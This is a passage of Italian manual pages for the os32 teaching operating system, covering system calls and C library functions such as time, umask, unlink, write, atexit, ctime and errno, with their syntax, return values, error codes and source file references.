'**`time`**', '**`stime`**' - lettura o impostazione della data e dell'ora del sistema

SINTASSI

```
#include <time.h>
time_t time  (time_t *timer);
int    stime (time_t *timer);
```

DESCRIZIONE

La funzioni ***time()*** legge la data e l'ora attuale del sistema, espressa in secondi; se il puntatore ***timer*** è valido (non è '**`NULL`**'), il risultato dell'interrogazione viene salvato anche in ciò a cui questo punta.

La funzione ***stime()*** consente di modificare la data e l'ora attuale del sistema, fornendo il puntatore alla variabile contenente la quantità di secondi trascorsi a partire dall'ora zero del 1 gennaio 1970.

VALORE RESTITUITO

La funzione ***time()*** restituisce la data e l'ora attuale del sistema, espressa in secondi trascorsi a partire dall'ora zero del 1 gennaio 1970.

La funzione ***stime()*** restituisce zero in caso di successo e, teoricamente, −1 in caso di errore, ma attualmente nessun tipo di errore è previsto.

DIFETTI

La funzione ***stime()*** dovrebbe essere riservata a un utente privilegiato, mentre attualmente qualunque utente può servirsene per cambiare la data di sistema.

FILE SORGENTI

'`lib/time.h`' [120.20]

'`lib/time/time.c`' [120.20.6]

'`lib/time/stime.c`' [120.20.5]

'`lib/sys/os32/sys.s`' [120.15.4]

‘kernel/ibm_i386/isr.s’ [119.6.21]

‘kernel/proc/sysroutine.c’ [119.13.27]

‘kernel/lib_k.h’ [119.7]

‘kernel/lib_s/s_time.c’ [119.8.36]

‘kernel/lib_s/s_stime.c’ [119.8.33]

VEDERE ANCHE

date(1) [111.10], *ctime(3)* [113.14].

112.50 os32: umask(2)

NOME

‘**umask**’ - maschera dei permessi

SINTASSI

```
#include <sys/stat.h>
mode_t umask (mode_t mask);
```

DESCRIZIONE

La funzione ***umask()*** modifica la maschera dei permessi associata al processo in corso. Nel contenuto del parametro ***mask*** vengono presi in considerazione soltanto i nove bit meno significativi, i quali rappresentano i premessi di accesso di utente proprietario, gruppo e altri utenti.

La maschera dei permessi viene usata dalle funzioni che creano dei file, per limitare i permessi in modo automatico: ciò che appare attivo nella maschera è quello che non viene consentito nella creazione del file.

VALORE RESTITUITO

La funzione restituisce il valore che aveva la maschera dei permessi prima della chiamata.

FILE SORGENTI

‘lib/sys/stat.h’ [120.16]

‘lib/sys/stat/umask.c’ [120.16.7]

‘lib/sys/os32/sys.s’ [120.15.4]

‘kernel/ibm_i386/isr.s’ [119.6.21]

‘kernel/proc/sysroutine.c’ [119.13.27]

VEDERE ANCHE

mkdir(2) [112.29], *chmod(2)* [112.5], *open(2)* [112.32], *stat(2)* [112.45].

112.51 os32: umount(2)

Vedere *mount(2)* [112.31].

112.52 os32: unlink(2)

NOME

'**unlink**' - cancellazione di un nome

SINTASSI

```
#include <unistd.h>
int unlink (const char *path);
```

DESCRIZIONE

La funzione ***unlink()*** cancella un nome da una directory, ma se si tratta dell'ultimo collegamento che ha quel file, allora libera anche l'inode corrispondente.

VALORE RESTITUITO

Valore	Significato
0	Operazione conclusa con successo.
-1	Errore: la variabile ***errno*** viene impostata di conseguenza.

ERRORI

Valore di ***errno***	Significato
`ENOTEMPTY`	È stata tentata la cancellazione di una directory, ma questa non è vuota.
`ENOTDIR`	Una delle directory del percorso, non è una directory.
`ENOENT`	Il nome richiesto non esiste.
`EROFS`	Il file system è in sola lettura.
`EPERM`	Mancano i permessi necessari.
`EUNKNOWN`	Si è verificato un errore imprevisto e sconosciuto.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/unlink.c`' [120.21.42]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

'`kernel/lib_s/s_unlink.c`' [119.8.38]

VEDERE ANCHE

rm(1) [111.21], *link(2)* [112.26], *rmdir(2)* [112.35].

112.53 os32: wait(2)

NOME

'**wait**' - attesa della morte di un processo figlio

SINTASSI

```
#include <sys/wait.h>
pid_t wait (int *status);
```

DESCRIZIONE

La funzione ***wait()*** mette il processo in pausa, in attesa della morte di un processo figlio; quando ciò dovesse accadere, il valore di ****status*** verrebbe aggiornato con quanto restituito dal processo defunto e il processo sospeso riprenderebbe l'esecuzione.

VALORE RESTITUITO

La funzione restituisce il numero del processo defunto, oppure −1 se non ci sono processi figli.

ERRORI

Valore di ***errno***	Significato
`ECHILD`	Non ci sono processi figli da attendere.

FILE SORGENTI

'`lib/sys/wait.h`' [120.18]

'`lib/sys/wait/wait.c`' [120.18.1]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

'`kernel/lib_s/s_wait.c`' [119.8.39]

VEDERE ANCHE

_exit(2) [112.2], *fork(2)* [112.16], *kill(2)* [112.25], *signal(2)* [112.43].

112.54 os32: write(2)

NOME

'**write**' - scrittura di un descrittore di file

SINTASSI

```
#include <unistd.h>
ssize_t write (int fdn, const void *buffer, size_t count);
```

DESCRIZIONE

La funzione ***write()*** consente di scrivere fino a un massimo di ***count*** byte, tratti dall'area di memoria che inizia all'indirizzo ***buffer***, presso il file rappresentato dal descrittore ***fdn***. La scrittura avviene a partire dalla posizione in cui si trova l'indice interno.

VALORE RESTITUITO

La funzione restituisce la quantità di byte scritti effettivamente e in tal caso è possibile anche ottenere una quantità pari a zero. Se si verifica invece un errore, la funzione restituisce −1 e aggiorna la variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
EBADF	Il numero del descrittore di file non è valido.
EINVAL	Il file non è aperto in scrittura.
EISDIR	Il file è una directory.
E_FILE_TYPE_UNSUPPORTED	Il file è di tipo non gestibile con os32.
EIO	Errore di input-output.

FILE SORGENTI

'lib/unistd.h' [120.21]

'lib/unistd/write.c' [120.21.43]

'lib/sys/os32/sys.s' [120.15.4]

'kernel/ibm_i386/isr.s' [119.6.21]

'kernel/proc/sysroutine.c' [119.13.27]

'kernel/lib_s/s_write.c' [119.8.40]

VEDERE ANCHE

close(2) [112.8], *lseek(2)* [112.28], *open(2)* [112.32], *read(2)* [112.34], *fwrite(3)* [113.48].

112.55 os32: z(2)

NOME

'**z_**...' - funzioni provvisorie

SINTASSI

```
#include <sys/os32.h>
void z_perror   (const char *string);
int  z_printf   (char *format, ...);
int  z_vprintf  (char *format, va_list arg);
```

DESCRIZIONE

Le funzioni del gruppo '**z_...()**' eseguono compiti equivalenti a quelli delle funzioni di libreria con lo stesso nome, ma prive del prefisso '**z_**'. Queste funzioni '**z_...()**' si avvalgono, per il loro lavoro, di chiamate di sistema particolari; la loro realizzazione si è resa necessaria durante lo sviluppo di os32, prima che potesse essere disponibile un sistema di gestione centralizzato dei dispositivi.

Queste funzioni non sono più utili, ma rimangono per documentare le fasi realizzative iniziali di os32 e, d'altro canto, possono servire se si rende necessario raggirare la gestione dei dispositivi per visualizzare dei messaggi sullo schermo.

FILE SORGENTI

'`lib/sys/os32.h`' [120.15]

'`lib/sys/os32/z_perror.c`' [120.15.6]

'`lib/sys/os32/z_printf.c`' [120.15.7]

'`lib/sys/os32/z_vprintf.c`' [120.15.8]

VEDERE ANCHE

perror(3) [113.83], *printf(3)* [113.84], *putchar(3)* [113.37], *puts(3)* [113.38], *vprintf(3)* [113.130], *vsprintf(3)* [113.130].

112.56 os32: z_perror(2)

Vedere *z(2)* [112.55].

112.57 os32: z_printf(2)

Vedere *z(2)* [112.55].

112.58 os32: z_vprintf(2)

Vedere *z(2)* [112.55].

Sezione 3: funzioni di libreria

Capitolo 113

113.1 os32: _gcc(3)

NOME

'**_gcc**' - libreria per il compilatore

DESCRIZIONE

Le funzioni descritte dal file di intestazione 'lib/gcc.h' e contenute nella directory 'lib/_gcc/', servono al compilatore GNU C per compiere il proprio lavoro correttamente con valori da 64 bit.

FILE SORGENTI

'lib/_gcc.h' [120.2].

113.2 os32: abort(3)

NOME

'**abort**' - conclusione anormale del processo

SINTASSI

```
#include <stdlib.h>
void abort (void);
```

DESCRIZIONE

La funzione ***abort()*** verifica lo stato di configurazione del segnale '**SIGABRT**' e, se risulta bloccato, lo sblocca, quindi invia questo segnale per il processo in corso. Ciò provoca la conclusione del processo, secondo la modalità prevista per tale segnale, a meno che il segnale sia stato ridiretto a una funzione, nel qual caso, dopo l'invio del segnale, potrebbe esserci anche una ripresa del controllo da parte della funzione ***abort()***. Tuttavia, se così fosse, il segnale '**SIGABRT**' verrebbe poi riconfigurato alla sua impostazione normale e verrebbe inviato nuovamente lo stesso segnale per provocare la conclusione del processo. Pertanto, la funzione ***abort()*** non restituisce il controllo.

Va comunque osservato che os32 non è in grado di associare una funzione a un segnale, pertanto, i segnali possono solo avere una gestione predefinita, o al massimo risultare bloccati.

FILE SORGENTI

'lib/stdlib.h' [120.13]

'lib/stdlib/abort.c' [120.13.2]

VEDERE ANCHE

signal(2) [112.43].

113.3 os32: abs(3)

NOME

'**abs**', '**labs**', '**llabs**', '**imaxabs**' - valore assoluto di un numero intero

SINTASSI

```
#include <stdlib.h>
int abs (int j);
long int labs (long int j);
long long int llabs (long long int j);
```

```
#include <inttypes.h>
intmax_t imaxabs (intmax_t j);
```

DESCRIZIONE

Le funzioni '...**abs()**' restituiscono il valore assoluto del loro argomento, distinguendosi per tipo di intero.

VALORE RESTITUITO

Il valore assoluto del numero intero fornito come argomento.

FILE SORGENTI

'lib/stdlib.h' [120.13]

'lib/stdlib/abs.c' [120.13.3]

'lib/stdlib/labs.c' [120.13.11]

'lib/stdlib/llabs.c' [120.13.13]

'lib/inttypes.h' [120.7]

'lib/inttypes/imaxabs.c' [120.7.1]

VEDERE ANCHE

div(3) [113.16], *ldiv(3)* [113.16], *lldiv(3)* [113.16], *imaxdiv(3)* [113.16], *rand(3)* [113.90].

113.4 os32: access(3)

NOME

'**access**' - verifica dei permessi di accesso dell'utente

SINTASSI

```
#include <unistd.h>
int access (const char *path, int mode);
```

DESCRIZIONE

La funzione ***access()*** verifica lo stato di accessibilità del file indicato nella stringa ***path***, secondo i permessi stabiliti con il parametro ***mode***.

L'argomento corrispondente al parametro ***mode*** può assumere un valore corrispondente alla macro-variabile ***F_OK***, per verificare semplicemente l'esistenza del file specificato; altrimenti, può avere un valore composto dalla combinazione (con l'operatore OR binario) di ***R_OK***, ***W_OK*** e ***X_OK***, per verificare, rispettivamente, l'accessibilità in lettura, in scrittura e in esecuzione. Queste macro-variabili sono dichiarate nel file '`unistd.h`'.

VALORE RESTITUITO

Valore	Significato
0	I permessi di accesso richiesti sono tutti disponibili.
−1	I permessi non sono tutti disponibili, oppure si è verificato un errore di altro genere, da chiarire analizzando la variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`ENFILE`	Troppi file aperti nel sistema.
`ENOENT`	File non trovato.
`EACCES`	Permesso negato.

DIFETTI

Questa realizzazione della funzione ***access()*** determina l'accessibilità a un file attraverso le informazioni che può trarre autonomamente; pertanto, si tratta di una valutazione presunta e non reale.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/access.c`' [120.21.2]

VEDERE ANCHE

stat(2) [112.45].

113.5 os32: asctime(3)

Vedere *ctime(3)* [113.14].

113.6 os32: assert(3)

NOME

'**`assert`**' - verifica diagnostica del risultato di un'espressione

SINTASSI

```
#include <assert.h>
void assert (tipo_scalare espressione);
```

DESCRIZIONE

Il file 'assert.h' della libreria standard definisce la macro-istruzione ***assert()***, da usare per generare informazioni diagnostiche, sulla base dell'esito della valutazione di un'espressione.

La macro-istruzione ***assert()*** viene definita in due modi alternativi, in base alla presenza o meno della macro-variabile ***NDEBUG***. Per la precisione, in presenza della macro-variabile ***NDEBUG*** la macro-istruzione ***assert()*** risulta inerte.

La macro-istruzione ***assert()*** va usata con la sintassi indicata, dove il parametro indica un'espressione di tipo non specificato, purché di tipo scalare. Se l'espressione si traduce in un valore *Falso*, ovvero pari a zero, la macro-istruzione emette, attraverso lo standard error, un messaggio contenente l'espressione stessa e altre indicazioni. Precisamente, oltre all'espressione appaiono: il nome della funzione in cui ci si trova, il nome del file (sorgente) e il numero della riga.

FILE SORGENTI

'lib/assert.h' [120.1.3]

113.7 os32: atexit(3)

NOME

'**atexit**', '**exit**' - gestione della chiusura dei processi

SINTASSI

```
#include <stdlib.h>
typedef void (*atexit_t) (void);
int  atexit (atexit_t function);
void exit   (int status);
```

DESCRIZIONE

La funzione ***exit()*** conclude il processo in corso, avvalendosi della chiamata di sistema *_exit(2)* [112.2], ma prima di farlo, scandisce un array contenente un elenco di funzioni, da eseguire prima di tale chiamata finale. Questo array viene popolato eventualmente con l'aiuto della funzione ***atexit()***, sapendo che l'ultima funzione di chiusura aggiunta, è la prima a dover essere eseguita alla conclusione.

La funzione ***atexit()*** riceve come argomento il puntatore a una funzione che non prevede argomenti e non restituisce alcunché. Per facilitare la dichiarazione del prototipo e, di conseguenza, dell'array usato per accumulare tali puntatori, il file di intestazione 'stdlib.h' di os32 dichiara un tipo speciale, non standard, denominato '**atexit_t**', definito come:

```
typedef void (*atexit_t) (void);
```

Si possono annotare un massimo di ***ATEXIT_MAX*** funzioni da eseguire prima della conclusione di un processo. Tale macro-variabile è definita nel file '`limits.h`'.

VALORE RESTITUITO

Solo la funzione ***atexit()*** restituisce un valore, perché ***exit()*** non può nemmeno restituire il controllo.

Valore	Significato
0	Operazione conclusa con successo.
−1	Errore, dovuto all'esaurimento dello spazio nell'array usato per accumulare le funzioni di chiusura.

FILE SORGENTI

'`lib/limits.h`' [120.1.6]

'`lib/stdlib.h`' [120.13]

'`lib/stdlib/atexit.c`' [120.13.4]

'`lib/stdlib/exit.c`' [120.13.9]

VEDERE ANCHE

_exit(2) [112.2], *_Exit(2)* [112.2].

113.8 os32: atoi(3)

NOME

'**`atoi`**', '**`atol`**' - conversione da stringa a numero intero

SINTASSI

```
#include <stdlib.h>
int atoi (const char *string);
long int atol (const char *string);
```

DESCRIZIONE

Le funzioni '**`ato...()`**' convertono una stringa, fornita come argomento, in un numero intero. La conversione avviene escludendo gli spazi iniziali, considerando eventualmente un segno («+» o «−») e poi soltanto i caratteri che rappresentano cifre numeriche. La scansione della stringa e l'interpretazione del valore numerico contenuto terminano quando si incontra un carattere diverso dalle cifre numeriche.

VALORE RESTITUITO

Il valore numerico ottenuto dall'interpretazione della stringa.

FILE SORGENTI

'`lib/stdlib.h`' [120.13]

'`lib/stdlib/atoi.c`' [120.13.5]

'`lib/stdlib/atol.c`' [120.13.6]

VEDERE ANCHE

strtol(3) [113.123], *strtoul(3)* [113.123].

113.9 os32: atol(3)

Vedere *atoi(3)* [113.8].

113.10 os32: basename(3)

NOME

‘**`basename`**’, ‘**`dirname`**’ - elaborazione dei componenti di un percorso

SINTASSI

```
#include <libgen.h>
char *basename (char *path);
char *dirname (char *path);
```

DESCRIZIONE

Le funzioni ***basename()*** e ***dirname()***, restituiscono un percorso, estratto da quello fornito come argomento (***path***). Per la precisione, ***basename()*** restituisce l’ultimo componente del percorso, mentre ***dirname()*** restituisce ciò che precede l’ultimo componente. Valgono gli esempi seguenti:

Contenuto originale di ***path***	Risultato prodotto da ‘**`dirname(`*path*`)`**’	Risultato prodotto da ‘**`basename(`*path*`)`**’
`"/usr/bin/`	`"/usr"`	`"bin"`
`"/usr/bin`	`"/usr"`	`"bin"`
`"/usr`	`"/"`	`"usr"`
`"usr`	`"."`	`"usr"`
`"/"`	`"/"`	`"/"`
`"."`	`"."`	`"."`
`".."`	`".."`	`".."`

È importante considerare che le due funzioni alterano il contenuto di ***path***, in modo da isolare i componenti che servono.

VALORE RESTITUITO

Le due funzioni restituiscono il puntatore alla stringa contenente il risultato dell’elaborazione, trattandosi di una porzione della stringa già usata come argomento della chiamata e modificata per l’occasione. Non è previsto il manifestarsi di alcun errore.

FILE SORGENTI

'lib/libgen.h' [120.8]

'lib/libgen/basename.c' [120.8.1]

'lib/libgen/dirname.c' [120.8.2]

113.11 os32: clearerr(3)

NOME

'**clearerr**' - azzeramento degli indicatori di errore e di fine file di un certo flusso di file

SINTASSI

```
#include <stdio.h>
void clearerr (FILE *fp);
```

DESCRIZIONE

La funzione ***clearerr()*** azzera gli indicatori di errore e di fine file, del flusso di file indicato come argomento.

FILE SORGENTI

'lib/stdio.h' [120.12]

'lib/stdio/clearerr.c' [120.12.2]

VEDERE ANCHE

feof(3) [113.28], *ferror(3)* [113.29], *fileno(3)* [113.34], *stdio(3)* [113.105].

113.12 os32: closedir(3)

NOME

'**closedir**' - chiusura di una directory

SINTASSI

```
#include <sys/types.h>
#include <dirent.h>
int closedir (DIR *dp);
```

DESCRIZIONE

La funzione ***closedir()*** chiude la directory rappresentata da ***dp***.

VALORE RESTITUITO

Valore	Significato
0	Operazione conclusa con successo.
−1	Errore: la variabile ***errno*** viene impostata di conseguenza.

ERRORI

Valore di *errno*	Significato
`EBADF`	La directory rappresentata da ***dp***, non è valida.

FILE SORGENTI

'`lib/sys/types.h`' [120.17]

'`lib/dirent.h`' [120.3]

'`lib/dirent/DIR.c`' [120.3.1]

'`lib/dirent/closedir.c`' [120.3.2]

VEDERE ANCHE

close(2) [112.8], *opendir(3)* [113.82], *readdir(3)* [113.91], *rewinddir(3)* [113.94].

113.13 os32: creat(3)

NOME

'**`creat`**' - creazione di un file puro e semplice

SINTASSI

```
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int creat (const char *path, mode_t mode);
```

DESCRIZIONE

La funzione ***creat()*** equivale esattamente all'uso della funzione ***open()***, con le opzioni '**`O_WRONLY|O_CREAT|O_TRUNC`**':

```
open (path, O_WRONLY|O_CREAT|O_TRUNC, mode)
```

Per ogni altra informazione, si veda la pagina di manuale *open(2)* [112.32].

FILE SORGENTI

'`lib/sys/types.h`' [120.17]

'`lib/sys/stat.h`' [120.16]

'`lib/fcntl.h`' [120.5]

'`lib/fcntl/creat.c`' [120.5.1]

VEDERE ANCHE

chmod(2) [112.5], *chown(2)* [112.6], *close(2)* [112.8], *dup(2)* [112.9], *fcntl(2)* [112.15], *link(2)* [112.28], *mknod(2)* [112.30], *mount(2)* [112.31], *open(2)* [112.32] *read(2)* [112.34], *stat(2)* [112.45], *umask(2)* [112.50], *unlink(2)* [112.52], *write(2)* [112.54], *fopen(3)* [113.35].

113.14 os32: ctime(3)

NOME

'**asctime**', '**ctime**', '**gmtime**', '**localtime**', '**mktime**' - conversione di informazioni data-orario

SINTASSI

```
#include <time.h>
char       *asctime   (const struct tm *timeptr);
char       *ctime     (const time_t *timer);
struct tm *gmtime     (const time_t *timer);
struct tm *localtime (const time_t *timer);
time_t      mktime    (const struct tm *timeptr);
```

DESCRIZIONE

Queste funzioni hanno in comune il compito di convertire delle informazioni data-orario, da un formato a un altro, eventualmente anche testuale. Una data e un orario possono essere rappresentati con il tipo '**time_t**', nel qual caso si tratta del numero di secondi trascorsi dall'ora zero del 1 gennaio 1970; in alternativa potrebbe essere rappresentata in una variabile strutturata di tipo '**struct tm**', dichiarato nel file 'time.h':

```
struct tm {
    int tm_sec;      // secondi
    int tm_min;      // minuti
    int tm_hour;     // ore
    int tm_mday;     // giorno del mese
    int tm_mon;      // mese, da 1 a 12
    int tm_year;     // anno
    int tm_wday;     // giorno della settimana, da 0 (domenica) a 6
    int tm_yday;     // giorno dell'anno
    int tm_isdst;    // informazioni sull'ora estiva
};
```

In alcuni casi, la conversione dovrebbe tenere conto della configurazione locale, ovvero del fuso orario ed eventualmente del cambiamento di orario nel periodo estivo. os32 non considera alcunché e gestisce il tempo in un modo assoluto, senza nozione della convenzione locale.

La funzione ***asctime()*** converte quanto contenuto in una variabile strutturata di tipo '**struct tm**' in una stringa che descrive la data e l'ora in inglese. La stringa in questione è allocata staticamente e viene sovrascritta se la funzione viene usata più volte.

La funzione ***ctime()*** è in realtà soltanto una macro-istruzione, la quale, complessivamente, converte il tempo indicato come quantità di secondi, restituendo il puntatore a una stringa che descrive la data attuale, tenendo conto della configurazione locale. La stringa in questione utilizza la stessa memoria statica usata per ***asctime()***; inoltre, dato che os32 non distingue tra ora locale e tempo universale, la funzione non esegue alcuna conversione temporale.

La funzione ***gmtime()*** converte il tempo espresso in secondi in una forma suddivisa, secondo il tipo '**`struct tm`**'. La funzione restituisce quindi il puntatore a una variabile strutturata di tipo '**`struct tm`**', la quale però è dichiarata in modo statico, internamente alla funzione, e viene sovrascritta nelle chiamate successive della stessa.

La funzione ***localtime()*** converte una data espressa in secondi, in una data suddivisa in campi ('**`struct tm`**'), tenendo conto (ma non succede con os32) della configurazione locale.

La funzione ***mktime()*** converte una data contenute in una variabile strutturata di tipo '**`struct tm`**' nella quantità di secondi corrispondente.

VALORE RESTITUITO

Le funzioni che restituiscono un puntatore, se incontrano un errore, restituiscono il puntatore nullo, '**`NULL`**'. Nel caso particolare di ***mktime()***, se il valore restituito è pari a -1, si tratta di un errore.

FILE SORGENTI

'`lib/time.h`' [120.20]

'`lib/time/asctime.c`' [120.20.1]

'`lib/time/gmtime.c`' [120.20.3]

'`lib/time/mktime.c`' [120.20.4]

VEDERE ANCHE

date(1) [111.10], *clock(2)* [112.7], *time(2)* [112.49].

113.15 os32: dirname(3)

Vedere *basename(3)* [113.10].

113.16 os32: div(3)

NOME

'**`div`**', '**`ldiv`**', '**`lldiv`**', '**`imaxdiv`**' - calcolo del quoziente e del resto di una divisione intera

SINTASSI

```
#include <stdlib.h>
div_t div (int numer, int denom);
ldiv_t ldiv (long int numer, long int denom);
lldiv_t lldiv (long long int numer, long long int denom);
```

```
#include <inttypes.h>
imaxdiv_t imaxdiv (intmax_t numer, intmax_t denom);
```

DESCRIZIONE

Le funzioni '...**div()**' calcolano la divisione tra numeratore e denominatore, forniti come argomenti della chiamata, restituendo un risultato, composto di divisione intera e resto, in una variabile strutturata.

I tipi '**div_t**', '**ldiv_t**' e '**lldiv_t**', sono dichiarati nel file 'stdlib.h' nel modo seguente:

```
typedef struct {
    int      quot;
    int      rem;
} div_t;
```

```
typedef struct {
    long long int quot;
    long long int rem;
} lldiv_t;
```

```
typedef struct {
    long long int quot;
    long long int rem;
} lldiv_t;
```

Il tipo '**imaxdiv_t**' è dichiarati nel file 'inttypes.h' in maniera analoga:

```
typedef struct {
    intmax_t quot;
    intmax_t rem;
} imaxdiv_t;
```

I membri ***quot*** contengono il quoziente, ovvero il risultato intero; i membri ***rem*** contengono il resto della divisione.

VALORE RESTITUITO

Il risultato della divisione, strutturato in quoziente e resto.

FILE SORGENTI

'lib/stdlib.h' [120.13]

'lib/stdlib/div.c' [120.13.7]

'lib/stdlib/ldiv.c' [120.13.12]

'lib/stdlib/lldiv.c' [120.13.14]

'lib/inttypes.h' [120.7]

'lib/inttypes/imaxdiv.c' [120.7.2]

VEDERE ANCHE

abs(3) [113.3].

113.17 os32: endgrent(3)

Vedere *getgrent(3)* [113.52].

113.18 os32: endpwent(3)

Vedere *getpwent(3)* [113.56].

113.19 os32: errno(3)

NOME

'**errno**' - numero dell'ultimo errore riportato

SINTASSI

```
#include <errno.h>
```

DESCRIZIONE

Attraverso l'inclusione del file '`errno.h`', si ottiene la dichiarazione della variabile ***errno***. In pratica, per os32 viene dichiarata così:

```
extern int errno;
```

Per annotare un errore si assegna un valore numerico a questa variabile. Il valore numerico in questione rappresenta sinteticamente la descrizione dell'errore; pertanto, si utilizzano per questo delle macro-variabili, dichiarate tutte nel file '`errno.h`'. Nell'esempio seguente si annota l'errore ***ENOMEM***, corrispondente alla descrizione «Not enough space», ovvero «spazio insufficiente»:

```
errno = ENOMEM;
```

Dal momento che in questo modo viene comunque a mancare un riferimento al sorgente e alla posizione in cui l'errore si è manifestato, la libreria di os32 aggiunge la macro-istruzione ***errset()***, la quale però non fa parte dello standard. Si usa così:

```
errset (ENOMEM);
```

La macro-istruzione ***errset()*** aggiorna la variabile ***errln*** e l'array ***errfn[]***, rispettivamente con il numero della riga di codice in cui si è manifestato il problema e il nome della funzione che lo contiene. Con queste informazioni, la funzione *perror(3)* [113.83] può visualizzare più dati.

Pertanto, nel codice di os32, si usa sempre la macro-istruzione ***errset()***, invece di assegnare semplicemente un valore alla variabile ***errno***.

ERRORI

Gli errori previsti dalla libreria di os32 sono riassunti dalla tabella successiva. La prima parte contiene gli errori definiti dallo standard POSIX, ma solo alcuni di questi vengono usati effettivamente nella libreria, data la limitatezza di os32.

Valore di ***errno***	Definizione
`E2BIG`	Argument list too long.
`EACCES`	Permission denied.
`EADDRINUSE`	Address in use.
`EADDRNOTAVAIL`	Address not available.
`EAFNOSUPPORT`	Address family not supported.
`EAGAIN`	Resource unavailable, try again.
`EALREADY`	Connection already in progress.
`EBADF`	Bad file descriptor.
`EBADMSG`	Bad message.
`EBUSY`	Device or resource busy.

Valore di ***errno***	Definizione
`ECANCELED`	Operation canceled.
`ECHILD`	No child processes.
`ECONNABORTED`	Connection aborted.
`ECONNREFUSED`	Connection refused.
`ECONNRESET`	Connection reset.
`EDEADLK`	Resource deadlock would occur.
`EDESTADDRREQ`	Destination address required.
`EDOM`	Mathematics argument out of domain of function.
`EDQUOT`	Reserved.
`EEXIST`	File exists.

Valore di ***errno***	Definizione
`EFAULT`	Bad address.
`EFBIG`	File too large.
`EHOSTUNREACH`	Host is unreachable.
`EIDRM`	Identifier removed.
`EILSEQ`	Illegal byte sequence.
`EINPROGRESS`	Operation in progress.
`EINTR`	Interrupted function.
`EINVAL`	Invalid argument.
`EIO`	I/O error.
`EISCONN`	Socket is connected.

Valore di ***errno***	Definizione
`EISDIR`	Is a directory.
`ELOOP`	Too many levels of symbolic links.
`EMFILE`	Too many open files.
`EMLINK`	Too many links.
`EMSGSIZE`	Message too large.
`EMULTIHOP`	Reserved.
`ENAMETOOLONG`	Filename too long.
`ENETDOWN`	Network is down.
`ENETRESET`	Connection aborted by network.
`ENETUNREACH`	Network unreachable.

Valore di ***errno***	Definizione
ENFILE	Too many files open in system.
ENOBUFS	No buffer space available.
ENODATA	No message is available on the stream head read queue.
ENODEV	No such device.
ENOENT	No such file or directory.
ENOEXEC	Executable file format error.
ENOLCK	No locks available.
ENOLINK	Reserved.
ENOMEM	Not enough space.
ENOMSG	No message of the desired type.

Valore di ***errno***	Definizione
ENOPROTOOPT	Protocol not available.
ENOSPC	No space left on device.
ENOSR	No stream resources.
ENOSTR	Not a stream.
ENOSYS	Function not supported.
ENOTCONN	The socket is not connected.
ENOTDIR	Not a directory.
ENOTEMPTY	Directory not empty.
ENOTSOCK	Not a socket.
ENOTSUP	Not supported.

Valore di ***errno***	Definizione
`ENOTTY`	Inappropriate I/O control operation.
`ENXIO`	No such device or address.
`EOPNOTSUPP`	Operation not supported on socket.
`EOVERFLOW`	Value too large to be stored in data type.
`EPERM`	Operation not permitted.
`EPIPE`	Broken pipe.
`EPROTO`	Protocol error.
`EPROTONOSUPPORT`	Protocol not supported.
`EPROTOTYPE`	Protocol wrong type for socket.
`ERANGE`	Result too large.

Valore di ***errno***	Definizione
`EROFS`	Read-only file system.
`ESPIPE`	Invalid seek.
`ESRCH`	No such process.
`ESTALE`	Reserved.
`ETIME`	Stream ioctl() timeout.
`ETIMEDOUT`	Connection timed out.
`ETXTBSY`	Text file busy.
`EWOULDBLOCK`	Operation would block (may be the same as EAGAIN).
`EXDEV`	Cross-device link.

La tabella successiva raccoglie le definizioni degli errori aggiuntivi, specifici di os32.

Valore di ***errno***	Definizione
`EUNKNOWN`	Unknown error.
`E_NO_MEDIUM`	No medium found.
`E_MEDIUM`	Medium reported error.
`E_FILE_TYPE`	File type not compatible.
`E_ROOT_INODE_NOT_CACHED`	The root directory inode is not cached.
`E_CANNOT_READ_SUPERBLOCK`	Cannot read super block.
`E_MAP_INODE_TOO_BIG`	Map inode too big.
`E_MAP_ZONE_TOO_BIG`	Map zone too big.
`E_DATA_ZONE_TOO_BIG`	Data zone too big.
`E_CANNOT_FIND_ROOT_DEVICE`	Cannot find root device.
`E_CANNOT_FIND_ROOT_INODE`	Cannot find root inode.

Valore di ***errno***	Definizione
`E_FILE_TYPE_UNSUPPORTED`	File type unsupported.
`E_ENV_TOO_BIG`	Environment too big.
`E_LIMIT`	Exceeded implementation limits.
`E_NOT_MOUNTED`	Not mounted.
`E_NOT_IMPLEMENTED`	Not implemented.
`E_HARDWARE_FAULT`	Hardware fault.
`E_DRIVER_FAULT`	Driver fault.
`E_PIPE_FULL`	Pipe full.
`E_PIPE_EMPTY`	Pipe empty.

FILE SORGENTI

‘`lib/errno.h`’ [120.4]

‘`lib/errno/errno.c`’ [120.4.1]

VEDERE ANCHE

perror(3) [113.83], *strerror(3)* [113.113].

113.20 os32: exec(3)

«

NOME

'**execl**', '**execle**', '**execlp**', '**execv**', '**execvp**' - esecuzione di un file

SINTASSI

```
#include <unistd.h>
extern char **environ;
int execl  (const char *path, const char *arg, ...);
int execle (const char *path, const char *arg, ...);
int execlp (const char *path, const char *arg, ...);
int execv  (const char *path, char *const argv[]);
int execvp (const char *path, char *const argv[]);
```

DESCRIZIONE

Le funzioni '**exec...()**' rimpiazzano il processo chiamante con un altro processo, ottenuto dal caricamento di un file eseguibile in memoria. Tutte queste funzioni si avvalgono, direttamente o indirettamente di *execve(2)* [112.11].

Il primo parametro delle funzioni descritte qui rappresenta il percorso, costituito dalla stringa ***path***, di un file da eseguire.

Le funzioni '**execl...()**', dopo il percorso del file eseguibile, richiedono l'indicazione di una quantità variabile di argomenti, a cominciare da ***arg***, costituiti da stringhe, tenendo conto che dopo l'ultimo di questi argomenti, occorre fornire il puntatore nullo, '**NULL**', per chiarire che questi sono terminati. L'argomento corrispondente al parametro ***arg*** deve essere una stringa contenente il nome del file da avviare, mentre quelli successivi sono a loro volta gli argomenti da passare al programma stesso.

